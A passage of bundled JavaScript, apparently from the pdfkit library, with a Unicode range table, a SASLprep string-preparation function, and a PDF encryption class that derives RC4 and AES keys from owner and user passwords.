0x0a8d,\r\n 0x0a8d,\r\n 0x0a8f,\r\n 0x0a91,\r\n 0x0a93,\r\n 0x0aa8,\r\n 0x0aaa,\r\n 0x0ab0,\r\n 0x0ab2,\r\n 0x0ab3,\r\n 0x0ab5,\r\n 0x0ab9,\r\n 0x0abd,\r\n 0x0ac0,\r\n 0x0ac9,\r\n 0x0ac9,\r\n 0x0acb,\r\n 0x0acc,\r\n 0x0ad0,\r\n 0x0ad0,\r\n 0x0ae0,\r\n 0x0ae0,\r\n 0x0ae6,\r\n 0x0aef,\r\n 0x0b02,\r\n 0x0b03,\r\n 0x0b05,\r\n 0x0b0c,\r\n 0x0b0f,\r\n 0x0b10,\r\n 0x0b13,\r\n 0x0b28,\r\n 0x0b2a,\r\n 0x0b30,\r\n 0x0b32,\r\n 0x0b33,\r\n 0x0b36,\r\n 0x0b39,\r\n 0x0b3d,\r\n 0x0b3e,\r\n 0x0b40,\r\n 0x0b40,\r\n 0x0b47,\r\n 0x0b48,\r\n 0x0b4b,\r\n 0x0b4c,\r\n 0x0b57,\r\n 0x0b57,\r\n 0x0b5c,\r\n 0x0b5d,\r\n 0x0b5f,\r\n 0x0b61,\r\n 0x0b66,\r\n 0x0b70,\r\n 0x0b83,\r\n 0x0b83,\r\n 0x0b85,\r\n 0x0b8a,\r\n 0x0b8e,\r\n 0x0b90,\r\n 0x0b92,\r\n 0x0b95,\r\n 0x0b99,\r\n 0x0b9a,\r\n 0x0b9c,\r\n 0x0b9c,\r\n 0x0b9e,\r\n 0x0b9f,\r\n 0x0ba3,\r\n 0x0ba4,\r\n 0x0ba8,\r\n 0x0baa,\r\n 0x0bae,\r\n 0x0bb5,\r\n 0x0bb7,\r\n 0x0bb9,\r\n 0x0bbe,\r\n 0x0bbf,\r\n 0x0bc1,\r\n 0x0bc2,\r\n 0x0bc6,\r\n 0x0bc8,\r\n 0x0bca,\r\n 0x0bcc,\r\n 0x0bd7,\r\n 0x0bd7,\r\n 0x0be7,\r\n 0x0bf2,\r\n 0x0c01,\r\n 0x0c03,\r\n 0x0c05,\r\n 0x0c0c,\r\n 0x0c0e,\r\n 0x0c10,\r\n 0x0c12,\r\n 0x0c28,\r\n 0x0c2a,\r\n 0x0c33,\r\n 0x0c35,\r\n 0x0c39,\r\n 0x0c41,\r\n 0x0c44,\r\n 0x0c60,\r\n 0x0c61,\r\n 0x0c66,\r\n 0x0c6f,\r\n 0x0c82,\r\n 0x0c83,\r\n 0x0c85,\r\n 0x0c8c,\r\n 0x0c8e,\r\n 0x0c90,\r\n 0x0c92,\r\n 0x0ca8,\r\n 0x0caa,\r\n 0x0cb3,\r\n 0x0cb5,\r\n 0x0cb9,\r\n 0x0cbe,\r\n 0x0cbe,\r\n 0x0cc0,\r\n 0x0cc4,\r\n 0x0cc7,\r\n 0x0cc8,\r\n 0x0cca,\r\n 0x0ccb,\r\n 0x0cd5,\r\n 0x0cd6,\r\n 0x0cde,\r\n 0x0cde,\r\n 0x0ce0,\r\n 0x0ce1,\r\n 0x0ce6,\r\n 0x0cef,\r\n 0x0d02,\r\n 0x0d03,\r\n 0x0d05,\r\n 0x0d0c,\r\n 0x0d0e,\r\n 0x0d10,\r\n 0x0d12,\r\n 0x0d28,\r\n 0x0d2a,\r\n 0x0d39,\r\n 0x0d3e,\r\n 0x0d40,\r\n 0x0d46,\r\n 0x0d48,\r\n 0x0d4a,\r\n 0x0d4c,\r\n 0x0d57,\r\n 0x0d57,\r\n 0x0d60,\r\n 0x0d61,\r\n 0x0d66,\r\n 0x0d6f,\r\n 0x0d82,\r\n 0x0d83,\r\n 0x0d85,\r\n 0x0d96,\r\n 0x0d9a,\r\n 0x0db1,\r\n 0x0db3,\r\n 0x0dbb,\r\n 0x0dbd,\r\n 0x0dbd,\r\n 0x0dc0,\r\n 0x0dc6,\r\n 0x0dcf,\r\n 0x0dd1,\r\n 0x0dd8,\r\n 0x0ddf,\r\n 0x0df2,\r\n 0x0df4,\r\n 0x0e01,\r\n 0x0e30,\r\n 0x0e32,\r\n 0x0e33,\r\n 0x0e40,\r\n 0x0e46,\r\n 0x0e4f,\r\n 0x0e5b,\r\n 0x0e81,\r\n 0x0e82,\r\n 0x0e84,\r\n 0x0e84,\r\n 0x0e87,\r\n 0x0e88,\r\n 0x0e8a,\r\n 0x0e8a,\r\n 0x0e8d,\r\n 0x0e8d,\r\n 0x0e94,\r\n 0x0e97,\r\n 0x0e99,\r\n 0x0e9f,\r\n 0x0ea1,\r\n 0x0ea3,\r\n 0x0ea5,\r\n 0x0ea5,\r\n 0x0ea7,\r\n 0x0ea7,\r\n 0x0eaa,\r\n 0x0eab,\r\n 0x0ead,\r\n 0x0eb0,\r\n 0x0eb2,\r\n 0x0eb3,\r\n 0x0ebd,\r\n 0x0ebd,\r\n 0x0ec0,\r\n 0x0ec4,\r\n 0x0ec6,\r\n 0x0ec6,\r\n 0x0ed0,\r\n 0x0ed9,\r\n 0x0edc,\r\n 0x0edd,\r\n 0x0f00,\r\n 0x0f17,\r\n 0x0f1a,\r\n 0x0f34,\r\n 0x0f36,\r\n 0x0f36,\r\n 0x0f38,\r\n 0x0f38,\r\n 0x0f3e,\r\n 0x0f47,\r\n 0x0f49,\r\n 0x0f6a,\r\n 0x0f7f,\r\n 0x0f7f,\r\n 0x0f85,\r\n 0x0f85,\r\n 0x0f88,\r\n 0x0f8b,\r\n 0x0fbe,\r\n 0x0fc5,\r\n 0x0fc7,\r\n 0x0fcc,\r\n 0x0fcf,\r\n 0x0fcf,\r\n 0x1000,\r\n 0x1021,\r\n 0x1023,\r\n 0x1027,\r\n 0x1029,\r\n 0x102a,\r\n 0x102c,\r\n 0x102c,\r\n 0x1031,\r\n 0x1031,\r\n 0x1038,\r\n 0x1038,\r\n 0x1040,\r\n 0x1057,\r\n 0x10a0,\r\n 0x10c5,\r\n 0x10d0,\r\n 0x10f8,\r\n 0x10fb,\r\n 0x10fb,\r\n 0x1100,\r\n 0x1159,\r\n 0x115f,\r\n 0x11a2,\r\n 0x11a8,\r\n 0x11f9,\r\n 0x1200,\r\n 0x1206,\r\n 0x1208,\r\n 0x1246,\r\n 0x1248,\r\n 0x1248,\r\n 0x124a,\r\n 0x124d,\r\n 0x1250,\r\n 0x1256,\r\n 0x1258,\r\n 0x1258,\r\n 0x125a,\r\n 0x125d,\r\n 0x1260,\r\n 0x1286,\r\n 0x1288,\r\n 0x1288,\r\n 0x128a,\r\n 0x128d,\r\n 0x1290,\r\n 0x12ae,\r\n 0x12b0,\r\n 0x12b0,\r\n 0x12b2,\r\n 0x12b5,\r\n 0x12b8,\r\n 0x12be,\r\n 0x12c0,\r\n 0x12c0,\r\n 0x12c2,\r\n 0x12c5,\r\n 0x12c8,\r\n 0x12ce,\r\n 0x12d0,\r\n 0x12d6,\r\n 0x12d8,\r\n 0x12ee,\r\n 0x12f0,\r\n 0x130e,\r\n 0x1310,\r\n 0x1310,\r\n 0x1312,\r\n 0x1315,\r\n 0x1318,\r\n 0x131e,\r\n 0x1320,\r\n 0x1346,\r\n 0x1348,\r\n 0x135a,\r\n 0x1361,\r\n 0x137c,\r\n 0x13a0,\r\n 0x13f4,\r\n 0x1401,\r\n 0x1676,\r\n 0x1681,\r\n 0x169a,\r\n 0x16a0,\r\n 0x16f0,\r\n 0x1700,\r\n 0x170c,\r\n 0x170e,\r\n 0x1711,\r\n 0x1720,\r\n 0x1731,\r\n 0x1735,\r\n 0x1736,\r\n 0x1740,\r\n 0x1751,\r\n 0x1760,\r\n 0x176c,\r\n 0x176e,\r\n 0x1770,\r\n 0x1780,\r\n 0x17b6,\r\n 0x17be,\r\n 0x17c5,\r\n 0x17c7,\r\n 0x17c8,\r\n 0x17d4,\r\n 0x17da,\r\n 0x17dc,\r\n 0x17dc,\r\n 0x17e0,\r\n 0x17e9,\r\n 0x1810,\r\n 0x1819,\r\n 0x1820,\r\n 0x1877,\r\n 0x1880,\r\n 0x18a8,\r\n 0x1e00,\r\n 0x1e9b,\r\n 0x1ea0,\r\n 0x1ef9,\r\n 0x1f00,\r\n 0x1f15,\r\n 0x1f18,\r\n 0x1f1d,\r\n 0x1f20,\r\n 0x1f45,\r\n 0x1f48,\r\n 0x1f4d,\r\n 0x1f50,\r\n 0x1f57,\r\n 0x1f59,\r\n 0x1f59,\r\n 0x1f5b,\r\n 0x1f5b,\r\n 0x1f5d,\r\n 0x1f5d,\r\n 0x1f5f,\r\n 0x1f7d,\r\n 0x1f80,\r\n 0x1fb4,\r\n 0x1fb6,\r\n 0x1fbc,\r\n 0x1fbe,\r\n 0x1fbe,\r\n 0x1fc2,\r\n 0x1fc4,\r\n 0x1fc6,\r\n 0x1fcc,\r\n 0x1fd0,\r\n 0x1fd3,\r\n 0x1fd6,\r\n 0x1fdb,\r\n 0x1fe0,\r\n 0x1fec,\r\n 0x1ff2,\r\n 0x1ff4,\r\n 0x1ff6,\r\n 0x1ffc,\r\n 0x200e,\r\n 0x200e,\r\n 0x2071,\r\n 0x2071,\r\n 0x207f,\r\n 0x207f,\r\n 0x2102,\r\n 0x2102,\r\n 0x2107,\r\n 0x2107,\r\n 0x210a,\r\n 0x2113,\r\n 0x2115,\r\n 0x2115,\r\n 0x2119,\r\n 0x211d,\r\n 0x2124,\r\n 0x2124,\r\n 0x2126,\r\n 0x2126,\r\n 0x2128,\r\n 0x2128,\r\n 0x212a,\r\n 0x212d,\r\n 0x212f,\r\n 0x2131,\r\n 0x2133,\r\n 0x2139,\r\n 0x213d,\r\n 0x213f,\r\n 0x2145,\r\n 0x2149,\r\n 0x2160,\r\n 0x2183,\r\n 0x2336,\r\n 0x237a,\r\n 0x2395,\r\n 0x2395,\r\n 0x249c,\r\n 0x24e9,\r\n 0x3005,\r\n 0x3007,\r\n 0x3021,\r\n 0x3029,\r\n 0x3031,\r\n 0x3035,\r\n 0x3038,\r\n 0x303c,\r\n 0x3041,\r\n 0x3096,\r\n 0x309d,\r\n 0x309f,\r\n 0x30a1,\r\n 0x30fa,\r\n 0x30fc,\r\n 0x30ff,\r\n 0x3105,\r\n 0x312c,\r\n 0x3131,\r\n 0x318e,\r\n 0x3190,\r\n 0x31b7,\r\n 0x31f0,\r\n 0x321c,\r\n 0x3220,\r\n 0x3243,\r\n 0x3260,\r\n 0x327b,\r\n 0x327f,\r\n 0x32b0,\r\n 0x32c0,\r\n 0x32cb,\r\n 0x32d0,\r\n 0x32fe,\r\n 0x3300,\r\n 0x3376,\r\n 0x337b,\r\n 0x33dd,\r\n 0x33e0,\r\n 0x33fe,\r\n 0x3400,\r\n 0x4db5,\r\n 0x4e00,\r\n 0x9fa5,\r\n 0xa000,\r\n 0xa48c,\r\n 0xac00,\r\n 0xd7a3,\r\n 0xd800,\r\n 0xfa2d,\r\n 0xfa30,\r\n 0xfa6a,\r\n 0xfb00,\r\n 0xfb06,\r\n 0xfb13,\r\n 0xfb17,\r\n 0xff21,\r\n 0xff3a,\r\n 0xff41,\r\n 0xff5a,\r\n 0xff66,\r\n 0xffbe,\r\n 0xffc2,\r\n 0xffc7,\r\n 0xffca,\r\n 0xffcf,\r\n 0xffd2,\r\n 0xffd7,\r\n 0xffda,\r\n 0xffdc,\r\n 0x10300,\r\n 0x1031e,\r\n 0x10320,\r\n 0x10323,\r\n 0x10330,\r\n 0x1034a,\r\n 0x10400,\r\n 0x10425,\r\n 0x10428,\r\n 0x1044d,\r\n 0x1d000,\r\n 0x1d0f5,\r\n 0x1d100,\r\n 0x1d126,\r\n 0x1d12a,\r\n 0x1d166,\r\n 0x1d16a,\r\n 0x1d172,\r\n 0x1d183,\r\n 0x1d184,\r\n 0x1d18c,\r\n 0x1d1a9,\r\n 0x1d1ae,\r\n 0x1d1dd,\r\n 0x1d400,\r\n 0x1d454,\r\n 0x1d456,\r\n 0x1d49c,\r\n 0x1d49e,\r\n 0x1d49f,\r\n 0x1d4a2,\r\n 0x1d4a2,\r\n 0x1d4a5,\r\n 0x1d4a6,\r\n 0x1d4a9,\r\n 0x1d4ac,\r\n 0x1d4ae,\r\n 0x1d4b9,\r\n 0x1d4bb,\r\n 0x1d4bb,\r\n 0x1d4bd,\r\n 0x1d4c0,\r\n 0x1d4c2,\r\n 0x1d4c3,\r\n 0x1d4c5,\r\n 0x1d505,\r\n 0x1d507,\r\n 0x1d50a,\r\n 0x1d50d,\r\n 0x1d514,\r\n 0x1d516,\r\n 0x1d51c,\r\n 0x1d51e,\r\n 0x1d539,\r\n 0x1d53b,\r\n 0x1d53e,\r\n 0x1d540,\r\n 0x1d544,\r\n 0x1d546,\r\n 0x1d546,\r\n 0x1d54a,\r\n 0x1d550,\r\n 0x1d552,\r\n 0x1d6a3,\r\n 0x1d6a8,\r\n 0x1d7c9,\r\n 0x20000,\r\n 0x2a6d6,\r\n 0x2f800,\r\n 0x2fa1d,\r\n 0xf0000,\r\n 0xffffd,\r\n 0x100000,\r\n 0x10fffd\r\n];\r\n// prettier-ignore-end\r\n\r\nconst isBidirectionalL = character => inRange(character, bidirectional_l);\r\n\r\nexport {\r\n isUnassignedCodePoint,\r\n isCommonlyMappedToNothing,\r\n isNonASCIISpaceCharacter,\r\n isProhibitedCharacter,\r\n isBidirectionalRAL,\r\n isBidirectionalL\r\n};\r\n","import {\r\n isUnassignedCodePoint,\r\n isCommonlyMappedToNothing,\r\n isNonASCIISpaceCharacter,\r\n isProhibitedCharacter,\r\n isBidirectionalRAL,\r\n isBidirectionalL\r\n} from './lib/code-points';\r\n\r\n// 2.1. Mapping\r\n\r\n/**\r\n * non-ASCII space characters [StringPrep, C.1.2] that can be\r\n * mapped to SPACE (U+0020)\r\n */\r\nconst mapping2space = isNonASCIISpaceCharacter;\r\n\r\n/**\r\n * the \"commonly mapped to nothing\" characters [StringPrep, B.1]\r\n * that can be mapped to nothing.\r\n */\r\nconst mapping2nothing = isCommonlyMappedToNothing;\r\n\r\n// utils\r\nconst getCodePoint = character => character.codePointAt(0);\r\nconst first = x => x[0];\r\nconst last = x => x[x.length - 1];\r\n\r\n/**\r\n * Convert provided string into an array of Unicode Code Points.\r\n * Based on https://stackoverflow.com/a/21409165/1556249\r\n * and https://www.npmjs.com/package/code-point-at.\r\n * @param {string} input\r\n * @returns {number[]}\r\n */\r\nfunction toCodePoints(input) {\r\n const codepoints = [];\r\n const size = input.length;\r\n\r\n for (let i = 0; i < size; i += 1) {\r\n const before = input.charCodeAt(i);\r\n\r\n if (before >= 0xd800 && before <= 0xdbff && size > i + 1) {\r\n const next = input.charCodeAt(i + 1);\r\n\r\n if (next >= 0xdc00 && next <= 0xdfff) {\r\n codepoints.push((before - 0xd800) * 0x400 + next - 0xdc00 + 0x10000);\r\n i += 1;\r\n continue;\r\n }\r\n }\r\n\r\n codepoints.push(before);\r\n }\r\n\r\n return codepoints;\r\n}\r\n\r\n/**\r\n * SASLprep.\r\n * @param {string} input\r\n * @param {Object} opts\r\n * @param {boolean} opts.allowUnassigned\r\n * @returns {string}\r\n */\r\nfunction saslprep(input, opts = {}) {\r\n if (typeof input !== 'string') {\r\n throw new TypeError('Expected string.');\r\n }\r\n\r\n if (input.length === 0) {\r\n return '';\r\n }\r\n\r\n // 1. Map\r\n const mapped_input = toCodePoints(input)\r\n // 1.1 mapping to space\r\n .map(character => (mapping2space(character) ? 0x20 : character))\r\n // 1.2 mapping to nothing\r\n .filter(character => !mapping2nothing(character));\r\n\r\n // 2. Normalize\r\n const normalized_input = String.fromCodePoint\r\n .apply(null, mapped_input)\r\n .normalize('NFKC');\r\n\r\n const normalized_map = toCodePoints(normalized_input);\r\n\r\n // 3. Prohibit\r\n const hasProhibited = normalized_map.some(isProhibitedCharacter);\r\n\r\n if (hasProhibited) {\r\n throw new Error(\r\n 'Prohibited character, see https://tools.ietf.org/html/rfc4013#section-2.3'\r\n );\r\n }\r\n\r\n // Unassigned Code Points\r\n if (opts.allowUnassigned !== true) {\r\n const hasUnassigned = normalized_map.some(isUnassignedCodePoint);\r\n\r\n if (hasUnassigned) {\r\n throw new Error(\r\n 'Unassigned code point, see https://tools.ietf.org/html/rfc4013#section-2.5'\r\n );\r\n }\r\n }\r\n\r\n // 4. check bidi\r\n\r\n const hasBidiRAL = normalized_map.some(isBidirectionalRAL);\r\n\r\n const hasBidiL = normalized_map.some(isBidirectionalL);\r\n\r\n // 4.1 If a string contains any RandALCat character, the string MUST NOT\r\n // contain any LCat character.\r\n if (hasBidiRAL && hasBidiL) {\r\n throw new Error(\r\n 'String must not contain RandALCat and LCat at the same time,' +\r\n ' see https://tools.ietf.org/html/rfc3454#section-6'\r\n );\r\n }\r\n\r\n /**\r\n * 4.2 If a string contains any RandALCat character, a RandALCat\r\n * character MUST be the first character of the string, and a\r\n * RandALCat character MUST be the last character of the string.\r\n */\r\n\r\n const isFirstBidiRAL = isBidirectionalRAL(\r\n getCodePoint(first(normalized_input))\r\n );\r\n const isLastBidiRAL = isBidirectionalRAL(\r\n getCodePoint(last(normalized_input))\r\n );\r\n\r\n if (hasBidiRAL && !(isFirstBidiRAL && isLastBidiRAL)) {\r\n throw new Error(\r\n 'Bidirectional RandALCat character must be the first and the last' +\r\n ' character of the string, see https://tools.ietf.org/html/rfc3454#section-6'\r\n );\r\n }\r\n\r\n return normalized_input;\r\n}\r\n\r\nexport default saslprep;\r\n","/*\r\n PDFSecurity - represents PDF security settings\r\n By Yang Liu \r\n */\r\n\r\nimport CryptoJS from 'crypto-js';\r\nimport saslprep from './saslprep/index';\r\n\r\nclass PDFSecurity {\r\n static generateFileID(info = {}) {\r\n let infoStr = `${info.CreationDate.getTime()}\\n`;\r\n\r\n for (let key in info) {\r\n // eslint-disable-next-line no-prototype-builtins\r\n if (!info.hasOwnProperty(key)) {\r\n continue;\r\n }\r\n infoStr += `${key}: ${info[key].valueOf()}\\n`;\r\n }\r\n\r\n return wordArrayToBuffer(CryptoJS.MD5(infoStr));\r\n }\r\n\r\n static generateRandomWordArray(bytes) {\r\n return CryptoJS.lib.WordArray.random(bytes);\r\n }\r\n\r\n static create(document, options = {}) {\r\n if (!options.ownerPassword && !options.userPassword) {\r\n return null;\r\n }\r\n return new PDFSecurity(document, options);\r\n }\r\n\r\n constructor(document, options = {}) {\r\n if (!options.ownerPassword && !options.userPassword) {\r\n throw new Error('None of owner password and user password is defined.');\r\n }\r\n\r\n this.document = document;\r\n this._setupEncryption(options);\r\n }\r\n\r\n _setupEncryption(options) {\r\n switch (options.pdfVersion) {\r\n case '1.4':\r\n case '1.5':\r\n this.version = 2;\r\n break;\r\n case '1.6':\r\n case '1.7':\r\n this.version = 4;\r\n break;\r\n case '1.7ext3':\r\n this.version = 5;\r\n break;\r\n default:\r\n this.version = 1;\r\n break;\r\n }\r\n\r\n const encDict = {\r\n Filter: 'Standard'\r\n };\r\n\r\n switch (this.version) {\r\n case 1:\r\n case 2:\r\n case 4:\r\n this._setupEncryptionV1V2V4(this.version, encDict, options);\r\n break;\r\n case 5:\r\n this._setupEncryptionV5(encDict, options);\r\n break;\r\n }\r\n\r\n this.dictionary = this.document.ref(encDict);\r\n }\r\n\r\n _setupEncryptionV1V2V4(v, encDict, options) {\r\n let r, permissions;\r\n switch (v) {\r\n case 1:\r\n r = 2;\r\n this.keyBits = 40;\r\n permissions = getPermissionsR2(options.permissions);\r\n break;\r\n case 2:\r\n r = 3;\r\n this.keyBits = 128;\r\n permissions = getPermissionsR3(options.permissions);\r\n break;\r\n case 4:\r\n r = 4;\r\n this.keyBits = 128;\r\n permissions = getPermissionsR3(options.permissions);\r\n break;\r\n }\r\n\r\n const paddedUserPassword = processPasswordR2R3R4(options.userPassword);\r\n const paddedOwnerPassword = options.ownerPassword\r\n ? processPasswordR2R3R4(options.ownerPassword)\r\n : paddedUserPassword;\r\n\r\n const ownerPasswordEntry = getOwnerPasswordR2R3R4(\r\n r,\r\n this.keyBits,\r\n paddedUserPassword,\r\n paddedOwnerPassword\r\n );\r\n this.encryptionKey = getEncryptionKeyR2R3R4(\r\n r,\r\n this.keyBits,\r\n this.document._id,\r\n paddedUserPassword,\r\n ownerPasswordEntry,\r\n permissions\r\n );\r\n let userPasswordEntry;\r\n if (r === 2) {\r\n userPasswordEntry = getUserPasswordR2(this.encryptionKey);\r\n } else {\r\n userPasswordEntry = getUserPasswordR3R4(\r\n this.document._id,\r\n this.encryptionKey\r\n );\r\n }\r\n\r\n encDict.V = v;\r\n if (v >= 2) {\r\n encDict.Length = this.keyBits;\r\n }\r\n if (v === 4) {\r\n encDict.CF = {\r\n StdCF: {\r\n AuthEvent: 'DocOpen',\r\n CFM: 'AESV2',\r\n Length: this.keyBits / 8\r\n }\r\n };\r\n encDict.StmF = 'StdCF';\r\n encDict.StrF = 'StdCF';\r\n }\r\n encDict.R = r;\r\n encDict.O = wordArrayToBuffer(ownerPasswordEntry);\r\n encDict.U = wordArrayToBuffer(userPasswordEntry);\r\n encDict.P = permissions;\r\n }\r\n\r\n _setupEncryptionV5(encDict, options) {\r\n this.keyBits = 256;\r\n const permissions = getPermissionsR3(options.permissions);\r\n\r\n const processedUserPassword = processPasswordR5(options.userPassword);\r\n const processedOwnerPassword = options.ownerPassword\r\n ? processPasswordR5(options.ownerPassword)\r\n : processedUserPassword;\r\n\r\n this.encryptionKey = getEncryptionKeyR5(\r\n PDFSecurity.generateRandomWordArray\r\n );\r\n const userPasswordEntry = getUserPasswordR5(\r\n processedUserPassword,\r\n PDFSecurity.generateRandomWordArray\r\n );\r\n const userKeySalt = CryptoJS.lib.WordArray.create(\r\n userPasswordEntry.words.slice(10, 12),\r\n 8\r\n );\r\n const userEncryptionKeyEntry = getUserEncryptionKeyR5(\r\n processedUserPassword,\r\n userKeySalt,\r\n this.encryptionKey\r\n );\r\n const ownerPasswordEntry = getOwnerPasswordR5(\r\n processedOwnerPassword,\r\n userPasswordEntry,\r\n PDFSecurity.generateRandomWordArray\r\n );\r\n const ownerKeySalt = CryptoJS.lib.WordArray.create(\r\n ownerPasswordEntry.words.slice(10, 12),\r\n 8\r\n );\r\n const ownerEncryptionKeyEntry = getOwnerEncryptionKeyR5(\r\n processedOwnerPassword,\r\n ownerKeySalt,\r\n userPasswordEntry,\r\n this.encryptionKey\r\n );\r\n const permsEntry = getEncryptedPermissionsR5(\r\n permissions,\r\n this.encryptionKey,\r\n PDFSecurity.generateRandomWordArray\r\n );\r\n\r\n encDict.V = 5;\r\n encDict.Length = this.keyBits;\r\n encDict.CF = {\r\n StdCF: {\r\n AuthEvent: 'DocOpen',\r\n CFM: 'AESV3',\r\n Length: this.keyBits / 8\r\n }\r\n };\r\n encDict.StmF = 'StdCF';\r\n encDict.StrF = 'StdCF';\r\n encDict.R = 5;\r\n encDict.O = wordArrayToBuffer(ownerPasswordEntry);\r\n encDict.OE = wordArrayToBuffer(ownerEncryptionKeyEntry);\r\n encDict.U = wordArrayToBuffer(userPasswordEntry);\r\n encDict.UE = wordArrayToBuffer(userEncryptionKeyEntry);\r\n encDict.P = permissions;\r\n encDict.Perms = wordArrayToBuffer(permsEntry);\r\n }\r\n\r\n getEncryptFn(obj, gen) {\r\n let digest;\r\n if (this.version < 5) {\r\n digest = this.encryptionKey\r\n .clone()\r\n .concat(\r\n CryptoJS.lib.WordArray.create(\r\n [\r\n ((obj & 0xff) << 24) |\r\n ((obj & 0xff00) << 8) |\r\n ((obj >> 8) & 0xff00) |\r\n (gen & 0xff),\r\n (gen & 0xff00) << 16\r\n ],\r\n 5\r\n )\r\n );\r\n }\r\n\r\n if (this.version === 1 || this.version === 2) {\r\n let key = CryptoJS.MD5(digest);\r\n key.sigBytes = Math.min(16, this.keyBits / 8 + 5);\r\n return buffer =>\r\n wordArrayToBuffer(\r\n CryptoJS.RC4.encrypt(CryptoJS.lib.WordArray.create(buffer), key)\r\n .ciphertext\r\n );\r\n }\r\n\r\n let key;\r\n if (this.version === 4) {\r\n key = CryptoJS.MD5(\r\n digest.concat(CryptoJS.lib.WordArray.create([0x73416c54], 4))\r\n );\r\n } else {\r\n key = this.encryptionKey;\r\n }\r\n\r\n const iv = PDFSecurity.generateRandomWordArray(16);\r\n const options = {\r\n mode: CryptoJS.mode.CBC,\r\n padding: CryptoJS.pad.Pkcs7,\r\n iv\r\n };\r\n\r\n return buffer =>\r\n wordArrayToBuffer(\r\n iv\r\n .clone()\r\n .concat(\r\n CryptoJS.AES.encrypt(\r\n CryptoJS.lib.WordArray.create(buffer),\r\n key,\r\n options\r\n ).ciphertext\r\n )\r\n );\r\n }\r\n\r\n end() {\r\n this.dictionary.end();\r\n }\r\n}\r\n\r\nfunction getPermissionsR2(permissionObject = {}) {\r\n let permissions = 0xffffffc0 >> 0;\r\n if (permissionObject.printing) {\r\n permissions |= 0b000000000100;\r\n }\r\n if (permissionObject.modifying) {\r\n permissions |= 0b000000001000;\r\n }\r\n if (permissionObject.copying) {\r\n permissions |= 0b000000010000;\r\n }\r\n if (permissionObject.annotating) {\r\n permissions |= 0b000000100000;\r\n }\r\n return permissions;\r\n}\r\n\r\nfunction getPermissionsR3(permissionObject = {}) {\r\n let permissions = 0xfffff0c0 >> 0;\r\n if (permissionObject.printing === 'lowResolution') {\r\n permissions |= 0b000000000100;\r\n }\r\n if (permissionObject.printing === 'highResolution') {\r\n permissions |= 0b100000000100;\r\n }\r\n if (permissionObject.modifying) {\r\n permissions |= 0b000000001000;\r\n }\r\n if (permissionObject.copying) {\r\n permissions |= 0b000000010000;\r\n }\r\n if (permissionObject.annotating) {\r\n permissions |= 0b000000100000;\r\n }\r\n if (permissionObject.fillingForms) {\r\n permissions |= 0b000100000000;\r\n }\r\n if (permissionObject.contentAccessibility) {\r\n permissions |= 0b001000000000;\r\n }\r\n if (permissionObject.documentAssembly) {\r\n permissions |= 0b010000000000;\r\n }\r\n return permissions;\r\n}\r\n\r\nfunction getUserPasswordR2(encryptionKey) {\r\n return CryptoJS.RC4.encrypt(processPasswordR2R3R4(), encryptionKey)\r\n .ciphertext;\r\n}\r\n\r\nfunction getUserPasswordR3R4(documentId, encryptionKey) {\r\n const key = encryptionKey.clone();\r\n let cipher = CryptoJS.MD5(\r\n processPasswordR2R3R4().concat(CryptoJS.lib.WordArray.create(documentId))\r\n );\r\n for (let i = 0; i < 20; i++) {\r\n const xorRound = Math.ceil(key.sigBytes / 4);\r\n for (let j = 0; j < xorRound; j++) {\r\n key.words[j] =\r\n encryptionKey.words[j] ^ (i | (i << 8) | (i << 16) | (i << 24));\r\n }\r\n cipher = CryptoJS.RC4.encrypt(cipher, key).ciphertext;\r\n }\r\n return cipher.concat(CryptoJS.lib.WordArray.create(null, 16));\r\n}\r\n\r\nfunction getOwnerPasswordR2R3R4(\r\n r,\r\n keyBits,\r\n paddedUserPassword,\r\n paddedOwnerPassword\r\n) {\r\n let digest = paddedOwnerPassword;\r\n let round = r >= 3 ? 51 : 1;\r\n for (let i = 0; i < round; i++) {\r\n digest = CryptoJS.MD5(digest);\r\n }\r\n\r\n const key = digest.clone();\r\n key.sigBytes = keyBits / 8;\r\n let cipher = paddedUserPassword;\r\n round = r >= 3 ? 20 : 1;\r\n for (let i = 0; i < round; i++) {\r\n const xorRound = Math.ceil(key.sigBytes / 4);\r\n for (let j = 0; j < xorRound; j++) {\r\n key.words[j] = digest.words[j] ^ (i | (i << 8) | (i << 16) | (i << 24));\r\n }\r\n cipher = CryptoJS.RC4.encrypt(cipher, key).ciphertext;\r\n }\r\n return cipher;\r\n}\r\n\r\nfunction getEncryptionKeyR2R3R4(\r\n r,\r\n keyBits,\r\n documentId,\r\n paddedUserPassword,\r\n ownerPasswordEntry,\r\n permissions\r\n) {\r\n let key = paddedUserPassword\r\n .clone()\r\n .concat(ownerPasswordEntry)\r\n .concat(CryptoJS.lib.WordArray.create([lsbFirstWord(permissions)], 4))\r\n .concat(CryptoJS.lib.WordArray.create(documentId));\r\n const round = r >= 3 ? 51 : 1;\r\n for (let i = 0; i < round; i++) {\r\n key = CryptoJS.MD5(key);\r\n key.sigBytes = keyBits / 8;\r\n }\r\n return key;\r\n}\r\n\r\nfunction getUserPasswordR5(processedUserPassword, generateRandomWordArray) {\r\n const validationSalt = generateRandomWordArray(8);\r\n const keySalt = generateRandomWordArray(8);\r\n return CryptoJS.SHA256(processedUserPassword.clone().concat(validationSalt))\r\n .concat(validationSalt)\r\n .concat(keySalt);\r\n}\r\n\r\nfunction getUserEncryptionKeyR5(\r\n processedUserPassword,\r\n userKeySalt,\r\n encryptionKey\r\n) {\r\n const key = CryptoJS.SHA256(\r\n processedUserPassword.clone().concat(userKeySalt)\r\n );\r\n const options = {\r\n mode: CryptoJS.mode.CBC,\r\n padding: CryptoJS.pad.NoPadding,\r\n iv: CryptoJS.lib.WordArray.create(null, 16)\r\n };\r\n return CryptoJS.AES.encrypt(encryptionKey, key, options).ciphertext;\r\n}\r\n\r\nfunction getOwnerPasswordR5(\r\n processedOwnerPassword,\r\n userPasswordEntry,\r\n generateRandomWordArray\r\n) {\r\n const validationSalt = generateRandomWordArray(8);\r\n const keySalt = generateRandomWordArray(8);\r\n return CryptoJS.SHA256(\r\n processedOwnerPassword\r\n .clone()\r\n .concat(validationSalt)\r\n .concat(userPasswordEntry)\r\n )\r\n .concat(validationSalt)\r\n .concat(keySalt);\r\n}\r\n\r\nfunction getOwnerEncryptionKeyR5(\r\n processedOwnerPassword,\r\n ownerKeySalt,\r\n userPasswordEntry,\r\n encryptionKey\r\n) {\r\n const key = CryptoJS.SHA256(\r\n processedOwnerPassword\r\n .clone()\r\n .concat(ownerKeySalt)\r\n .concat(userPasswordEntry)\r\n );\r\n const options = {\r\n mode: CryptoJS.mode.CBC,\r\n padding: CryptoJS.pad.NoPadding,\r\n iv: CryptoJS.lib.WordArray.create(null, 16)\r\n };\r\n return CryptoJS.AES.encrypt(encryptionKey, key, 